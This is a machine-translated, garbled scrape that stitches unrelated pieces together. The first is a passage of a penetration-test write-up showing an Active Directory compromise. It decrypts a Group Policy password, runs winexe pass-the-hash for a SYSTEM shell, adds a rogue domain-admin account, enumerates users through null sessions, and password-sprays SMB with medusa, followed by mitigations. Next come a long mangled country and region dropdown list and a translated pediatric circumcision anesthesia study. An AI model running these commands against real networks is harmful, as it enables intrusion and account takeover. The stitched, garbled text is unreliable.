(встроенный) «/>
Пароль берется и запускается скриптом дешифрования с http: // carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~ / work # ruby decrypt.rb
Локально * P4ssword!
~ / work / nmap # ~ / SpiderLabs / winexe-PTH -U MIRKWOOD \\ ‘Администратор% Local * P4ssword!’ —uninstall —system //192.168.1.103 cmd.exe
Microsoft Windows [Версия 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C: \ WINDOWS \ system32> чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
C: \ WINDOWS \ system32> сетевая группа «Администраторы домена» twadmin / add / domain
net группа «Администраторы домена» twadmin / add / domain
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
5. На сервере разрешено нулевое перечисление NetBIOS
Это в основном позволяет любому в сети запрашивать контроллер домена для получения полного списка пользователей, членства в группах и политик блокировки.После успешного запуска enum4linux.pl использование grep для обнаружения администраторов домена или администраторов предприятия сокращает время, затрачиваемое на запуск восстановленных учетных данных пользователя в системах. В некоторых случаях администратор домена был достигнут благодаря тому, что пароль совпадает с паролем для входа администратора.
~ / enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90
~ / работа / цели / 192.168.1.0-24 # перечисление кошки-192.168.1.90
Запуск enum4linux v0.8.7 (http://labs.portcullis.co.uk/application/enum4linux/) вт, 10 сентября, 10:15:14 2013
==========================
| Информация о цели |
==========================
Цель ……….. 192.168.1.90
Диапазон RID …….. 500-550,1000-1050
Имя пользователя ……… »
Пароль ……… »
Известные имена пользователей.. администратор, гость, krbtgt, администраторы домена, root, bin, none
================================================ ===
| Перечисление рабочей группы / домена на 192.168.1.90 |
=============================================== ====
[+] Получено имя домена / рабочей группы: MIRKWOOD
===========================================
| Информация Nbtstat для 192.168.1.90 |
===========================================
Поиск статуса 192.168.1.90
MODOR <00> — M Workstation Service
MIRKWOOD <00> — Имя домена / рабочей группы M
MIRKWOOD <1c> — Контроллеры домена M
MORDOR <20> — Служба файлового сервера M
MAC-адрес = B5-AD-2F-37-2G-4F
====================================
| Проверка сеанса на 192.168.1.90 |
====================================
[+] Сервер 192.168.1.90 разрешает сеансы с использованием имени пользователя », пароля »
… отрезать…
============================
| Пользователи на 192.168.1.90 |
============================
index: 0x2b76 RID: 0xd08 acb: 0x00000610 Учетная запись: Имя администратора: Администратор Описание: (null)
индекс: 0x1822 RID: 0xb0a acb: 0x00000414 Учетная запись: Frodo Имя: Frodo Baggins Описание: (null)
индекс: 0x1bga RID: 0xc0a acb: 0x00080210 Учетная запись: Samwise Имя: Samwise Gamgee Описание пользователя: (null)
индекс: 0x1dc4 RID: 0xc7a acb: 0x00050210 Учетная запись: Stryder Имя: Арагорн Описание пользователя: (null)
индекс: 0x1823 RID: 0xb0b acb: 0x00007014 Учетная запись: Legolas Имя: Legolas Greenleaf Desc: (null)
индекс: 0x1824 RID: 0xb0c acb: 0x00010014 Учетная запись: Гимли Имя: Гимли, сын Глоина Описание: (null)
индекс: 0x1825 RID: 0xb0d acb: 0x00300014 Учетная запись: Боромир Имя: Боромир, сын Денетора II Описание: (null)
индекс: 0x126f RID: 0x9eb acb: 0x00004014 Учетная запись: Gandalf Имя: Gandalf the Gray Desc: (null)
индекс: 0x1826 RID: 0xb0e acb: 0x00020015 Учетная запись: gollum Имя: gollum Описание: (null)
… отрезать…
~ / работа / цели / 192.168.1.90 # cat enum-192.168.1.90 .txt | grep «Администраторы домена»
Группа «Администраторы» (RID: 544) состоит из участников: MIRKWOOD \ Domain Admins
Группа: [Администраторы домена] избавиться: [0x200]
Группа «Администраторы домена» (RID: 512) состоит из участников: MIRKWOOD \ Gandalf
Группа «Администраторы домена» (RID: 512) состоит из участников: MIRKWOOD \ Stryder
Группа «Администраторы домена» (RID: 512) состоит из участников: MIRKWOOD \ Administrator
В группе «Администраторы домена» (RID: 512) есть участник: MIRKWOOD \ gollum
Группа «Администраторы домена» (RID: 512) состоит из участников: MIRKWOOD \ Saruman
S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD \ Администраторы домена (группа домена)
S-1-5-21-1897573695-8675309227-1212564242-512 MORDOR \ Администраторы домена (группа домена)
~ / work / nmap / # medusa -M smbnt -H smb -u gollum -p gollum -m ГРУППА: ДОМЕН | ти кого-л.medusa
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.1 (1 из 62, 0 завершено) Пользователь: gollum (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
НАЙДЕН УЧЕТНАЯ ЗАПИСЬ: [smbnt] Хост: 192.168.1.1 Пользователь: gollum Пароль: gollum [УСПЕХ (0x000072: STATUS_ACCOUNT_DISABLED)]
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.100 (2 из 62, 1 завершено) Пользователь: gollum (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
ОБНАРУЖЕН АККАУНТ: [smbnt] Хост: 192.168.1.100 Пользователь: gollum Пароль: gollum [УСПЕХ (0x000072: STATUS_ACCOUNT_DISABLED)]
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.105 (3 из 62, 2 завершено) Пользователь: gollum (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
НАЙДЕН АККАУНТ: [smbnt] Хост: 192.168.1.105 Пользователь: gollum Пароль: gollum [УСПЕХ]
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.106 (4 из 62, 3 завершено) Пользователь: gollum (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
ОБНАРУЖЕН АККАУНТ: [smbnt] Хост: 192.168.1.106 Пользователь: gollum Пароль: gollum [УСПЕХ (0x000072: STATUS_ACCOUNT_DISABLED)]
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.107 (5 из 62, 4 завершено) Пользователь: ssadmin (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
НАЙДЕН СЧЕТ: [smbnt] Хост: 192.168.1.107 Пользователь: gollum Пароль: gollum [УСПЕХ]
ПРОВЕРКА УЧЕТНОЙ ЗАПИСИ: [smbnt] Хост: 192.168.1.11 (7 из 62, 6 завершено) Пользователь: gollum (1 из 1, 0 завершено) Пароль: gollum (1 из 1 завершено)
ОБНАРУЖЕН АККАУНТ: [smbnt] Хост: 192.168.1.11 Пользователь: gollum Пароль: gollum [УСПЕХ]
… отрезать…
~ / work / nmap # ~ / SpiderLabs / winexe-PTH -U MIRKWOOD \\ gollum% gollum —uninstall —system //192.168.1.106 cmd.exe
Microsoft Windows [Версия 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C: \ WINDOWS \ system32> whoami
whoami
МИРКВУД \ голлум
C: \ WINDOWS \ system32 >> чистый пользователь twadmin $ piD3rsRul3! / добавить / домен
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
C: \ WINDOWS \ system32> сетевая группа «Администраторы домена» twadmin / add / domain
net группа «Администраторы домена» twadmin / add / domain
Запрос будет обработан на контроллере домена для домена MIRKWOOD.
Команда успешно выполнена.
Большинство из приведенных выше примеров доступа администратора домена можно было избежать.
Вот как:
- Отключение NetBIOS в старых системах Windows и протокол LLMNR в системах под управлением Vista и позже поиск имени будет иметь большое значение для предотвращения захвата хэшей на внутренняя сеть.
- Убедитесь, что установки программного обеспечения путем изменения настроек учетной записи по умолчанию и установки безопасного пароли.
- Создать и поддерживать процесс управления исправлениями, при котором сети периодически сканируются на предмет отсутствия датируйте операционные системы и программное обеспечение, затем обновите / обновите и исправьте системы.
- Не устанавливать административные пароли через объекты групповой политики. Если местный административный учетные записи должны использоваться, используйте случайные пароли, чтобы ограничить предел глубины компромисса.
- Хотя параметр доступа NULL NetBIOS может показаться проблемой с низким уровнем риска, когда анонимный доступ может увеличить шансы компрометации доступа к внутренняя сеть, поскольку она пропускает пользователей, группы и политики. Домен Windows контроллеры и серверы могут отключить эту функцию, чтобы предотвратить передачу данных перечисление.
Найди гонку
Расстояние от почтового индекса: Любая странаСША — СШАAD — АндорраАЭ — Объединенные Арабские ЭмиратыAF — АфганистанAG — Антигуа и БарбудаAI — АнгильяAL — АлбанияAM — АрменияAO — АнголаAQ — АнтарктикаAR — АргентинаAS — Американское СамоаAT — АвстрияAU — АвстралияAW — АрубаАХ — Аландские островаAZ — АзербайджанBA — Босния и ГерцеговинаBB — БарбадосBD — БангладешBE — БельгияBF — Буркина-ФасоBG — БолгарияBH — БахрейнBI — БурундиBJ — БенинBL — Сен-БартелемиBM — Бермудские островаBN — Бруней-ДаруссаламBO — Баутия, Многонациональный БалинтэйтБантир, Британия, Бразилия — БотсванаBY — BelarusBZ — БелизCA — CanadaCC — Кокосовые (Килинг) островаCD — Демократическая Республика Конго CF — Центральноафриканская РеспубликаCG — КонгоCH — ШвейцарияCI — Кот-д’ИвуарCK — Острова КукаCL — Чили CM — КамерунCN — ChinaCO — КолумбияCR — Коста-РикаCU — КубаCV — Кабо-ВердеCW — КюрасаоCX — Остров Рождества CY — КипрCZ — Чешская РеспубликаDE — ГерманияDJ — ДжибутиDK — Denm arkDM — ДоминикаDO — Доминиканская РеспубликаDZ — АлжирEC — ЭквадорEE — ЭстонияEG — ЕгипетEH — Западная СахараER — ЭритреяES — ИспанияET — ЭфиопияFI — ФинляндияFJ — FijiFK — Фолклендские (Мальвинские) острова FM — Микронезия, Федеративные ШтатыFO — Фарерские островаFR — ФранцияGD — ГренадаGE — ДжорджияGF — Французская ГвианаGG — ГернсиGH — ГанаGI — ГибралтарGL — ГренландияGM — ГамбияGN — ГвинеяGP — ГваделупаGQ — Экваториальная ГвинеяGR — ГрецияGS — Южная Георгия и Южные Сандвичевы островаGT — Гватемала Гвинея — ГуамGW — Гвинея и острова МакдональдHN — ГондурасHR — ХорватияHT — ГаитиHU — ВенгрияID — ИндонезияIE — ИрландияIL — IsraelIM — Остров Мэн — ИндияIO — Британская территория в Индийском океанеIQ — ИракIR — Иран, Исламская РеспубликаIS — ИсландияIT — ИталияJE — JerseyJM — ЯмайкаJO — JordanJP — JapanKE — KenyaKG — КыргызстанKH — КамбоджаKI — КирибатиKM — Коморские островаKN — Сент-Китс и НевисKP — Корея, КНДР — Корея, Республика blic ofKW — КувейтKY — Каймановы островаKZ — КазахстанLA — Лаосская Народно-Демократическая РеспубликаLB — ЛиванLC — Сент-ЛюсияLI — ЛихтенштейнLK — Шри-ЛанкаLR — ЛиберияLS — ЛесотоLT — ЛитваLU — ЛюксембургLV — ЛатвияLY — ЛивияMA — МароккоMC — МонакоME — Молдова, Республика Мартин (Французская часть) MG — МадагаскарMH — Маршалловы островаMK — Македония, бывшая югославская Республика ML — MaliMM — МьянмаMN — МонголияMO — MacaoMP — Северные Марианские островаMQ — МартиникаMR — МавританияMS — МонтсерратMT — МальтаMU — МаврикийMV — МальдивыMW — Малави — НамибияNC — Новая КаледонияNE — НигерNF — Остров НорфолкNG — НигерияNI - НикарагуаNL — НидерландыNO — НорвегияNP — НепалNR — НауруНУ — НиуэNZ — Новая Зеландия — OmanPA — PanamaPE — ПеруPF — Французская ПолинезияPG — Папуа-Новая Гвина MiquelonPN — PitcairnPR — Пуэрто-РикоPS — Палестинская территория, ОккупированнаяPT — ПортугалияPW — Палаупия — Пара guayQA — КатарRE — РеюньонRO — РумынияRS — СербияRU — Российская ФедерацияRW — РуандаSA — Саудовская АравияSB — Соломоновы островаSC — СейшелыSD — СуданSE — SwedenSG — СингапурSH — Остров Святой Елены, Вознесение и Тристан-да-КуньяSI — СловенияSJ — Шпицберген — Словакия Сан-МариноSN — СенегалSO — СомалиSR — СуринамSS — Южный СуданST — Сан-Томе и ПринсипиSV — СальвадорSX — Синт-Мартен (голландская часть) SY — Сирийская Арабская РеспубликаSZ — СвазилендTC — Острова Теркс и КайкосTD — ЧадTF — Южные французские территорииTG — ТогоTKTKTK — ТаиландTK — TokelauTL — Тимор-ЛештиTM — TurkmenistanTN — ТунисTO — ТонгаTR — ТурцияTT — Тринидад и ТобагоTV — ТувалуTW — Тайвань, Китайская РеспубликаTZ — Танзания, Объединенная РеспубликаUA — УкраинаUG — УгандаUM — Малые отдаленные острова СШАUY — Уругвай — Святейший Престол — УзбекистанVA Ватикан) VC — Сент-Винсент и ГренадиныVE — Венесуэла, Боливарианская РеспубликаVG — Виргинские острова, BritishVI — Виргинские острова, U.S.VN — ВьетнамVU — ВануатуWF — Уоллис и ФутунаWS — СамоаXK — КосовоYE — YemenYT — MayotteZA — Южная АфрикаZM — ЗамбияZW — ЗимбабвеСтат / провинция: Любой штат / провинцияAK — АляскаAL — АлабамаAR — Арканзас — Калифорния — Американское СамоаАЗ — АКО КоннектикутDC — Округ КолумбияDE — ДелавэрFL — ФлоридаFM — Федеративные Штаты МикронезииGA — ДжорджияGU — ГуамХИ — Гавайи — АйоваЙД — АйдахоИЛ — Иллинойс — ИндианаKS — Канзас — Кентукки — Лос-Анджелес — Луизиана — Массачусетс — Массачусетс — Мэриленд — Мэриленд — Мэнес Северные Марианские островаMS — МиссисипиMT — МонтанаNC — Северная КаролинаND — Северная ДакотаNE — НебраскаNH — Нью-ГэмпширNJ — Нью-ДжерсиNM — Нью-МексикоNV — НевадаNJ — Нью-Йорк — ОгайоOK — ОклахомаОР — ОрегонPA — Южная Пенсильвания — Южная Пенсильвания — Пуэрто-РикоPWol — Палау ДакотаTN — ТеннессиTX — ТехасUT — ЮтаVA — ВирджинияVI — Виргинские острова СШАVT — ВермонтWA — ВашингтонWI — ВисконсинWV — W est VirginiaWY — ВайомингAA — U.Южные вооруженные силы — АмерикаAE — Вооруженные силы США — ЕвропаAP — Вооруженные силы США — Тихий океанAB — АльбертаBC — Британская КолумбияMB — МанитобаNB — Нью-БрансуикNL — Ньюфаундленд и ЛабрадорNS — Новая ШотландияNT — Северо-Западные территорииNU — Нунавутан, провинция Нью-Йорк — Остров Эдвардс — ЮконBB — БранденбургBE — БерлинBW — Баден-ВюртембергBY — BavariaHB — BremenHE — HesseHH — HamburgMV — Мекленбург-Передняя Померания — Нижняя СаксонияNW — Северный Рейн-ВестфалияRP — Рейнланд-AB-Гольшен-Пфальц-Шальфельд-Шальфельд-Шальфельд-Тель-Авив — Зальцбург-ПалатинатШтландия — Шальфельд-Шальфельд — Aberdeen CityAGB — Аргайл и ButeAGY — Остров АнглсиANS — AngusANT — AntrimARD — ArdsARM — ArmaghBAS — Бат и Северо-Восточный СомерсетBBD — Блэкберн с DarwenBDF — БедфордBDG — Баркинг и ДагенхемBEN — BrentBEX — Бексли-Бьюмингем-Бридж-Бридж-Бридж-Бридж-Бриджен-Бридж — Белфаст-Бридж-Мост — BallymenaBLY — BallymoneyBMH — BournemouthBNB — BanbridgeBNE — BarnetBNH — Яркий on and HoveBNS — BarnsleyBOL — BoltonBPL — BlackpoolBRC — Bracknell ForestBRD — BradfordBRY — BromleyBST — Bristol, City ofBUR — BuryCAM — CambridgeshireCAY — CaerphillyCBF — Central BedfordshireCGN — CeredigionCGV — CraigavonCHE — ColeraineCMA — CumbriaCMD — CamdenCMN — CarmarthenshireCON — CornwallCOV — CoventryCRF — CardiffCRY — CroydonCSR — CastlereaghCWY — ConwyDAL — DarlingtonDBY — DerbyshireDEN — DenbighshireDER — DerbyDEV — DevonDGN — Dungannon и Южная TyroneDGY — Дамфрис и GallowayDNC — DoncasterDND — Dundee CityDOR — DorsetDOW — DownDRY — DerryDUD — DudleyDUR — Дарем, CountyEAL — EalingEAW — Англия и УэльсEAY — East AyrshireEDH — Эдинбург, City ofEDU — East DunbartonshireELN — East LothianELS — Eilean SiarENF — EnfieldENG — EnglandERW — Восточный Ренфрюшир — Восточный Райдинг ЙоркшираFerseag — Fi feFLN — FlintshireGAT — GatesheadGBN — Great BritainGLG — Глазго CityGLS — GloucestershireGRE — GreenwichGWN — GwyneddHAL — HaltonHAM — HampshireHAV — HaveringHCK — HackneyHEF — HerefordshireHIL — HillingdonHLD — HighlandHMF — Hammersmith и FulhamHNS — HounslowHPL — HartlepoolHRT — HertfordshireHRW — HarrowHRY — HaringeyIOW — Остров WightISL — IslingtonIVC — InverclydeKEC — Кенсингтон и ЧелсиKEN — KentKHL — Кингстон-апон-ХаллKIR — КирклисKTT — Кингстон-апон-ТемсKWL — Ноуслилан — ЛанкаширLBH — LambethLCE — LeicesterLDS — ЛидсЛек — Лондон-ЛестершемLIV — LewistersLEC — ЛестершемЛиверсленд — ManchesterMDB — MiddlesbroughMDW — MedwayMFT — MagherafeltMIK — Milton KeynesMLN — MidlothianMON — MonmouthshireMRT — MertonMRY — MorayMTY — Merthyr TydfilMYL — MoyleNAY — Северный ЭйрширNBL — Нортумберленд-Норт-Ноттингем — NorthNNGNNGK — Нортумберленд-Нотнкленд-Норт-Энн — Норт-Энн-Нот-Кинс Северная ИрландияNLK — Северный ЛанаркширNLN — Северный ЛинкольнширNSM — Северный СомерсетNTA — НьютаунббейNTH — НортгемптонширNTL — Нит-Порт-ТалботNTT — НоттингемширNTY — Северный ТайнсайдNWM — НьюхэмNWP — НьюпортNYK — Северный ЙоркширNYKS KinrossPLY — ПлимутPOL — PoolePOR — PortsmouthPOW — PowysPTE — PeterboroughRCC — Редкар и Кливленд SuffolkSFT — СефтонSGC — Южный ГлостерширSHF — ШеффилдSHN — Санкт-Петербург.HelensSHR — ShropshireSKP — StockportSLF — SalfordSLG — SloughSLK — Южный ЛанаркширSND — SunderlandSOL — SolihullSOM — SomersetSOS — Southend-on-SeaSRY — SurreySTB — StrabaneSTE — Stoke-on-TrentSTHN — Стокгольм-ТрентСТГ — Stiordsoutrling — Stiordsoutrling TynesideSWA — SwanseaSWD — SwindonSWK — SouthwarkTAM — TamesideTFW — Telford and WrekinTHR — ThurrockTOB — TorbayTOF — TorfaenTRF — TraffordTWH — Tower HamletsUKM — Соединенное КоролевствоVGL — Долина Гламорган, Уэстхэм WAR — Уорвакшир WKDW — Уэстхэм — WKW — WalsallWLN — Запад LothianWLS — WalesWLV — WolverhamptonWND — WandsworthWNM — Виндзор и MaidenheadWOK — WokinghamWOR — WorcestershireWRL — WirralWRT — WarringtonWRX — WrexhamWSM — WestminsterWSX — Запад SussexYOR — YorkZET — Шетландские Islands01 — Hokkaidô02 — Aomori03 — Iwate04 — Miyagi05 — Akita06 — Yamagata07 — Hukusima08 — Ибараки09 — Тотиги10 — Гунма11 — Сайтама12 — Tiba13 — Tôkyô14 — Kanagawa15 — Niigata16 — Toyama17 — Isikawa18 — Hukui19 — Yamanasi20 — Nagano21 — Gihu22 — Sizuoka23 — Aiti24 — Mie25 — Siga26 — Kyôto27 — saka28 — Simôgo29 — Nara30 — Wakoriima31 — Хиогонэ29 — Nara30 — Wakoriama31 Kagawa38 — Ehime39 — Kôti40 — Hukuoka41 — Saga42 — Nagasaki43 — Kumamoto44 — Ôita45 — Miyazaki46 — Kagosima47 — OkinawaAGU — AguascalientesBCN — Нижняя КалифорнияBCS — Нижняя Калифорния SurCAM — КампечеЧХ — Чиуауа-Дистанция COA — COA — Дистанция — Чиуауа-Дистанция — Дистан. HidalgoJAL — JaliscoMEX — MéxicoMIC — MichoacánMOR — MorelosNAY — NayaritNLE — Nuevo LeónOAX — OaxacaPUE — PueblaQUE — QuerétaroROO — Кинтана RooSIN — SinaloaSLP — Сан-Луис PotosíSON — SonoraTAB — TabascoTAM — TamaulipasTLA — TlaxcalaVER — VeracruzYUC — YucatánZAC — ZacatecasAW — Аруба countryCW — Кюрасао countryDR — DrentheFL — FlevolandFR — FryslânGE — GelderlandGR — GroningenLI — LimburgNB — Нет ord-BrabantNH — Северная ГолландияOV — OverijsselSX — Sint Maarten countryUT — UtrechtZE — ZeelandZH — Zuid-Holland
В каком возрасте следует обрезать детей?
Иранский Красный Полумесяц Med J.2015 Март; 17 (3): e26258.
Senol Bicer
1 Кафедра детской хирургии, Эрзинджанский университет медицинских наук, Эрзинджан, Турция
Уфук Куйруклуйылдыз
2 Кафедра анестезиологии Эрзинджанского университета медицинских наук, Эрзинджан,
, Эрзинджан,
2 Кафедра анестезиологии Университета медицинских наук Эрзинджана, Эрзинджан, Турция
Мурат Сахин
2 Кафедра анестезиологии Эрзинджанского университета медицинских наук, Эрзинджан, Турция
Отделение Орхана Биничи
68 из Анестезиология, Эрзинджанский университет медицинских наук, Эрзинджан, Турция Didem Onk
2 Кафедра анестезиологии, Эрзинджанский университет медицинских наук, Эрзинджан, Турция
1 Кафедра детской хирургии, Эрзинджанский университет медицинских наук, Эрзинджан , Турция
2 919 68 Кафедра анестезиологии Эрзинджанского университета медицинских наук, Эрзинджан, Турция
* Автор для переписки: Сенол Бисер, кафедра детской хирургии, Эрзинджанский университет медицинских наук, Эрзинджан, Турция.Тел .: + 90-5056943470, Факс: + 90-4462122211, Электронная почта: moc.liamg@reciblonesrd Поступила в редакцию 25 декабря 2014 г .; Пересмотрено 22 января 2015 г .; Принято 16 февраля 2015 г. nc / 4.0 /), который позволяет копировать и распространять материал только в некоммерческих целях при условии правильного цитирования оригинальной работы.Эта статья цитировалась в других статьях в PMC.
Abstract
Справочная информация:
Хотя мужское обрезание — это хирургическое вмешательство, которое часто проводится у детей, единого мнения о возрасте, в котором оно должно быть выполнено, не существует.
Цели:
Целью данного исследования было определение наилучшего возрастного диапазона для обычного мужского обрезания с точки зрения здоровья ребенка и затрат.
Пациенты и методы:
Это клиническое испытание было проведено в больнице, входящей в состав Эрзинджанского университета медицинских наук, Турция, в 2014 г.Обрезанных детей оценивали в 3 группах: младше 1 года (группа 1), 1-7 лет (группа 2) и старше 7 лет (группа 3). Чтобы получить удовлетворительную седативную оценку по Уилтону, сначала вводили мидазолам 0,1 мг / кг внутривенно. Если адекватная седация не была достигнута, также вводили кетамин 2 мг / кг внутривенно. Если адекватная седация все еще не была достигнута, проводилась общая анестезия через ларингеальную маску. В конце операции группы сравнивали по продолжительности восстановления после анестезии, осложнениям, продолжительности выписки и стоимости.
Результаты:
Всего было обрезано 603 ребенка, 374 в группе 1, 94 в группе 2 и 135 в группе 3. Мидазолама было достаточно для седативного эффекта у 364 пациентов группы 1 (97,3%), 6 пациентов группы 2 ( 6,3%) и 38 пациентов 3-й группы (28,1%). Наименьшая продолжительность восстановления после анестезии после хирургического вмешательства и время до выписки, наименьшая стоимость и наименьшее количество осложнений, связанных с анестезией, наблюдались в группе 1 (P <0,05 для всех).
Выводы:
Хотя почти всем детям младше 1 года можно было вводить седативный эффект только мидазоламом, большинству детей старше 1 года требовался кетамин или общая анестезия.Выполнение обрезания детям младше 1 года снижает риск осложнений из-за анестезии и снижает затраты по сравнению с выполнением процедуры для детей старшего возраста.
Ключевые слова: Обрезание, возрастные группы, анестезия
1. Общие сведения
Обрезание — это хирургическое удаление крайней плоти. Для обрезания используются самые разные материалы, приспособления и методы. Цель состоит в том, чтобы минимизировать безопасность и заболеваемость независимо от используемой техники (1).Мужское обрезание проводится тысячи лет. Это наиболее часто применяемое хирургическое вмешательство у детей, и треть всех мужчин в мире подвергаются обрезанию. Необходимость обрезания зависит от религиозных убеждений и социальных структур в обществе. Процедура также может выполняться по медицинским показаниям (2). Однако вопрос о том, когда проводить плановое обрезание, все еще обсуждается (3, 4). Обрезание обычно проводится в мусульманской и еврейской культурах; однако мусульмане проводят обрезание в возрасте 6 лет, а евреи делают это сразу после рождения.Хотя в детстве под местной анестезией можно провести несколько небольших хирургических вмешательств, для большинства хирургических вмешательств используется седация или общая анестезия (5). При обрезании применяются разные методы анестезии в зависимости от возраста пациента (6). Блокада полового члена или каудальная блокада используется как обезболивающее при обрезании. Пациенту вводят седативные препараты мидазолама, комбинации мидазолама и кетамина или проводят общую анестезию с помощью гортанной маски (5, 7, 8).
2.Цели
Это исследование было проведено для определения наилучшего возрастного диапазона для выполнения планового мужского обрезания с точки зрения анестезиологического доступа, осложнений и затрат.
3. Пациенты и методы
Это клиническое испытание проводилось в больнице, входящей в состав Эрзинджанского университета медицинских наук (Турция) в период с июня по декабрь 2014 г. Утверждение Совета по этике университета и осознанное согласие родителей дети были получены.В это исследование были включены дети, которым было запланировано только обрезание. Исключались дети, имевшие медицинские показания к обрезанию, такие как фимоз, баланит, а также аномалия гипоспадии и нарушения свертываемости крови. Дети мужского пола, обратившиеся в нашу больницу для обрезания, были разделены на 3 группы в зависимости от возраста: группа 1 состояла из детей младше 1 года, группа 2 состояла из детей в возрасте от 1 до 7 лет, а группа 3 состояла из детей старше 7 лет. проведены обследования и лабораторные исследования.При подготовке к операции пациенты получали седативные препараты для достижения оценки по шкале седативного эффекта Уилтона, равной или превышающей 3 (удобно сидеть или лежать, с открытыми глазами, сотрудничать, не плакать) (9). Сначала были введены мидазолам 0,1 мг / кг и атропин 0,02 мг / кг внутривенно. Если адекватная седация не была достигнута, вводили кетамин в дозе 2 мг / кг внутривенно. Если адекватная седация все еще не была достигнута, проводилась общая анестезия через гортанную маску (1% севофлуран, 50% O₂, 0,2 мг / кг рокурония бромида). Для блокады полового члена применяли гидрохлорид лидокаина в дозе 3 мг / кг, разбавленный физиологическим солевым раствором 1/1.Средняя продолжительность операции составила 15 минут. После обрезания дети с модифицированным показателем выздоровления по шкале Алдрет ≥ 9 были переведены в эту службу (10, 11). Обезболивание (пудендальная блокада) и операция были выполнены одним и тем же хирургом для всех пациентов. Процедуры анестезии, адекватность седации и осложнения анестезии оценивались пятью анестезиологами, а хирургические осложнения оценивались хирургом. Двойное зрение оценивали у детей старше 6 лет.Группы сравнивали относительно продолжительности восстановления после постестезии, осложнений, времени до выписки и статистической стоимости.
3.1. Статистика
Непрерывные переменные были показаны как медианы (минимум-максимум), а категориальные данные представлены как проценты. Одновыборочный критерий Колмогорова-Смирнова использовался для оценки нормального распределения непрерывных переменных. Непрерывные переменные между группами сравнивались с тестом Краскела-Уоллиса. Категориальные переменные соответствующим образом сравнивались с помощью критерия хи-квадрат или точного критерия Фишера.Двустороннее значение P <0,05 считалось значимым во всех анализах. Данные были проанализированы с использованием версии SPSS 17.0 (SPSS Inc, Чикаго, Иллинойс).
4. Результаты
Всего в исследовании приняли участие 603 ребенка. Было 374 ребенка в группе 1 (<1 года), 94 ребенка в группе 2 (1-7 лет) и 135 детей в группе 3 (> 7 лет). В группе 1 седативный эффект был достигнут с помощью мидазолама у 364 детей (97,3%), а добавление кетамина потребовалось у 10 детей (2.7%). В группе 2 седативный эффект только мидазоламом был достигнут только у 6 детей (6,3%), кетамин требовался у 64 детей (80,8%), а общая анестезия требовалась у 12 детей (12,8%). В группе 3 седативный эффект мидазолама был достигнут у 38 детей (28,1%), добавление кетамина потребовалось 51 пациенту (38%), а общая анестезия потребовалась только 4 детям (3%). 42 детям в группе 3 седация не потребовалась (31,1%). Эти значения суммированы в. Анестезия и хирургические осложнения представлены в и.Группы сравнивали статистически по стоимости ($), продолжительности восстановления после анестезии (минуты), времени до выписки (часы) и осложнениям (). Стоимость, продолжительность восстановления после анестезии, время до выписки и осложнения после анестезии в группе 1 были значительно ниже, чем в группах 2 или 3, а в группе 3 были значительно ниже по сравнению с группой 2 (P <0,001). Существенной разницы в отношении хирургических осложнений не обнаружено (P> 0,05).
Таблица 1.
Распределение применяемых методов анестезии между группами a
Методы анестезии Группа 1 Группа 2 Группа 3 364 (97,3) 6 (6,3) 38 (28) Мидазолам + кетамин 10 (2,7) 76 (80,9) 51 (38) Общая анестезия — 12 (12.8) 4 (3) Без седативного средства — — 42 (31) Всего 374 (62) 94 (15,5) 135 (22,5)
Таблица 2.
Осложнения анестезии
Группа 1 Группа 1 Группа 1 Всего Угнетение дыхания 0 3 2 5 Рвота 1 4 4 9 Бронхоспазм 0 2 1 3 Аллергические реакции 1 4 3 8 Двойное зрение 0 15 20 35 остановка сердца 0 0 0 0 Всего 2 28 30 60 (P <0.05)
Таблица 3.
Хирургические осложнения
Группа 1 Группа 2 Группа 3 Всего Кровотечение 3 1 2 6 Инфекция 2 1 1 4 I n Полное обрезание 1 0 1 2 Меатальный стеноз 0 0 0 0 Свищ уретры 0 0 0 0 Некроз головки и ампутация 0 0 0 0 Всего 6 2 4 12 (P> 0.05)
Таблица 4.
Статистический анализ групп a
Группа 1 Группа 2 Группа 3 P Значение Стоимость (долл. США) 13,01 (11.01-14.25) 15,80 (13,36-26,50) 13,53 (13,00-27,67) <0,001 Продолжительность восстановления после наркоза, мин 1.00 (0,50-7,50) 7,00 (0,50-15,00) 3,00 (0,00-15,00) <0,001 Продолжительность разряда, часов 1,00 (0,16-3,50) 3,00 (0,75-5,00) 1,50 (0,08-5,00) <0,001 Хирургическое осложнение,% 1,6 3,2 3,7 0,317 Осложнение анестезии,% 0.5 24,5 17,8 <0,001
5. Обсуждение
Большинство дебатов о наилучшем возрасте для проведения мужского обрезания сосредоточено на следующих возрастных группах: период новорожденности и младенчества, фаллическая стадия ( возраст 3-4) и школьный возраст (2, 12, 13). Мы стремились подойти к этому вопросу с другой точки зрения. Хотя мужское обрезание считается этической проблемой в мире, 30% всех мужчин подвергаются обрезанию. За исключением экстренных случаев, обрезание обычно проводится по религиозным, медицинским или гигиеническим причинам.Более того, сообщалось о наличии у него социально-сексуальных положительных аспектов (14). Обсуждается вопрос об обрезании мужчин, которое регулярно проводится в некоторых сообществах мира, в каком возрасте следует делать обрезание и какие методы анестезии следует использовать. Эль Бчерауи заявил, что побочные эффекты, связанные с мужским обрезанием, уменьшаются, если процедура выполняется в течение первого года жизни (15).
